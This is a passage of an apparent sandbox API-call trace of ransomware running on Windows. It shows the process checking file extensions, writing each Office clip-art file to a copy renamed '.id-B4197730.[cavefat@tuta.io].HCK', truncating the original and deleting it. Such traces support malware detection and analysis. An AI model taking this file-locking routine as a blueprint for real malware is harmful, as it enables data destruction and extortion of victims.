4 [0178.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.268] lstrlenW (lpString=".xlsx") returned 5 [0178.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.268] lstrlenW (lpString=".ppt") returned 4 [0178.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".zip") returned 4 [0178.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.268] lstrlenW (lpString=".rar") returned 4 [0178.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString=".bz2") returned 4 [0178.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString=".7z") returned 3 [0178.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".dbf") returned 4 [0178.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".1cd") returned 4 [0178.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00394_.WMF") returned 68 [0178.268] lstrlenW (lpString=".jpg") returned 4 [0178.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.268] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.268] lstrlenW (lpString="NA00433_.WMF") returned 12 [0178.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.269] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18070) returned 1 [0178.269] CloseHandle (hObject=0x3a4) returned 1 [0178.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf")) returned 0x220 [0178.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.272] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.272] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.275] GetLastError () returned 0x0 [0178.275] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4696, lpOverlapped=0x0) returned 1 [0178.277] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x46a0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x46a0, lpOverlapped=0x0) returned 1 [0178.277] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.277] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.277] SetEndOfFile (hFile=0x2fc) returned 1 [0178.279] CloseHandle (hObject=0x2fc) returned 1 [0178.280] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.280] SetEndOfFile (hFile=0x368) returned 1 [0178.282] CloseHandle (hObject=0x368) returned 1 [0178.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00433_.wmf")) returned 1 [0178.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.285] lstrlenW (lpString=".doc") returned 4 [0178.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.285] lstrlenW (lpString=".docx") returned 5 [0178.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.285] lstrlenW (lpString=".pdf") returned 4 [0178.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.285] lstrlenW (lpString=".xls") returned 4 [0178.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.285] lstrlenW (lpString=".xlsx") returned 5 [0178.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.285] lstrlenW (lpString=".ppt") returned 4 [0178.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.285] lstrlenW (lpString=".zip") returned 4 [0178.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.285] lstrlenW (lpString=".rar") returned 4 [0178.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".bz2") returned 4 [0178.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".7z") returned 3 [0178.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".dbf") returned 4 [0178.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".1cd") returned 4 [0178.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".jpg") returned 4 [0178.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".doc") returned 4 [0178.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".docx") returned 5 [0178.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.286] lstrlenW (lpString=".pdf") returned 4 [0178.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".xls") returned 4 [0178.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.286] lstrlenW (lpString=".xlsx") returned 5 [0178.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.286] lstrlenW (lpString=".ppt") returned 4 [0178.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".zip") returned 4 [0178.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.286] lstrlenW (lpString=".rar") returned 4 [0178.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".bz2") returned 4 [0178.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString=".7z") returned 3 [0178.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".dbf") returned 4 [0178.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.286] lstrlenW (lpString=".1cd") returned 4 [0178.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00433_.WMF") returned 68 [0178.287] lstrlenW (lpString=".jpg") returned 4 [0178.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.287] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.287] lstrlenW (lpString="NA00454_.WMF") returned 12 [0178.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.292] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=5504) returned 1 [0178.292] CloseHandle (hObject=0x300) returned 1 [0178.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf")) returned 0x220 [0178.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.296] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.296] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.299] GetLastError () returned 0x0 [0178.299] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1580, lpOverlapped=0x0) returned 1 [0178.301] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1590, lpOverlapped=0x0) returned 1 [0178.301] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.301] WriteFile (in: hFile=0x300, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.301] SetEndOfFile (hFile=0x300) returned 1 [0178.303] CloseHandle (hObject=0x300) returned 1 [0178.303] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.303] SetEndOfFile (hFile=0x368) returned 1 [0178.307] CloseHandle (hObject=0x368) returned 1 [0178.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00454_.wmf")) returned 1 [0178.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.310] lstrlenW (lpString=".doc") returned 4 [0178.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.310] lstrlenW (lpString=".docx") returned 5 [0178.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.310] lstrlenW (lpString=".pdf") returned 4 [0178.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.310] lstrlenW (lpString=".xls") returned 4 [0178.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.310] lstrlenW (lpString=".xlsx") returned 5 [0178.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.310] lstrlenW (lpString=".ppt") returned 4 [0178.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".zip") returned 4 [0178.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.311] lstrlenW (lpString=".rar") returned 4 [0178.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".bz2") returned 4 [0178.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".7z") returned 3 [0178.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".dbf") returned 4 [0178.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".1cd") returned 4 [0178.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".jpg") returned 4 [0178.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".doc") returned 4 [0178.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".docx") returned 5 [0178.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.311] lstrlenW (lpString=".pdf") returned 4 [0178.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".xls") returned 4 [0178.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.311] lstrlenW (lpString=".xlsx") returned 5 [0178.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.311] lstrlenW (lpString=".ppt") returned 4 [0178.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.311] lstrlenW (lpString=".zip") returned 4 [0178.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.311] lstrlenW (lpString=".rar") returned 4 [0178.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".bz2") returned 4 [0178.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.311] lstrlenW (lpString=".7z") returned 3 [0178.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.312] lstrlenW (lpString=".dbf") returned 4 [0178.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.312] lstrlenW (lpString=".1cd") returned 4 [0178.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00454_.WMF") returned 68 [0178.312] lstrlenW (lpString=".jpg") returned 4 [0178.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.312] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.312] lstrlenW (lpString="NA00494_.WMF") returned 12 [0178.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.317] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2360) returned 1 [0178.317] CloseHandle (hObject=0x3a4) returned 1 [0178.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf")) returned 0x220 [0178.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.320] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.322] GetLastError () returned 0x0 [0178.322] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x938, lpOverlapped=0x0) returned 1 [0178.323] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x940, lpOverlapped=0x0) returned 1 [0178.324] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.324] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.324] SetEndOfFile (hFile=0x3a4) returned 1 [0178.328] CloseHandle (hObject=0x3a4) returned 1 [0178.329] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.329] SetEndOfFile (hFile=0x370) returned 1 [0178.330] CloseHandle (hObject=0x370) returned 1 [0178.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00494_.wmf")) returned 1 [0178.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.334] lstrlenW (lpString=".doc") returned 4 [0178.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.334] lstrlenW (lpString=".docx") returned 5 [0178.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.334] lstrlenW (lpString=".pdf") returned 4 [0178.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.334] lstrlenW (lpString=".xls") returned 4 [0178.334] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.334] lstrlenW (lpString=".xlsx") returned 5 [0178.334] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.334] lstrlenW (lpString=".ppt") returned 4 [0178.334] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.334] lstrlenW (lpString=".zip") returned 4 [0178.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.334] lstrlenW (lpString=".rar") returned 4 [0178.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".bz2") returned 4 [0178.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".7z") returned 3 [0178.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".dbf") returned 4 [0178.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".1cd") returned 4 [0178.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".jpg") returned 4 [0178.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".doc") returned 4 [0178.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".docx") returned 5 [0178.335] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.335] lstrlenW (lpString=".pdf") returned 4 [0178.335] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".xls") returned 4 [0178.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.335] lstrlenW (lpString=".xlsx") returned 5 [0178.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.335] lstrlenW (lpString=".ppt") returned 4 [0178.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".zip") returned 4 [0178.335] lstrcmpiW (lpString1=".zip", 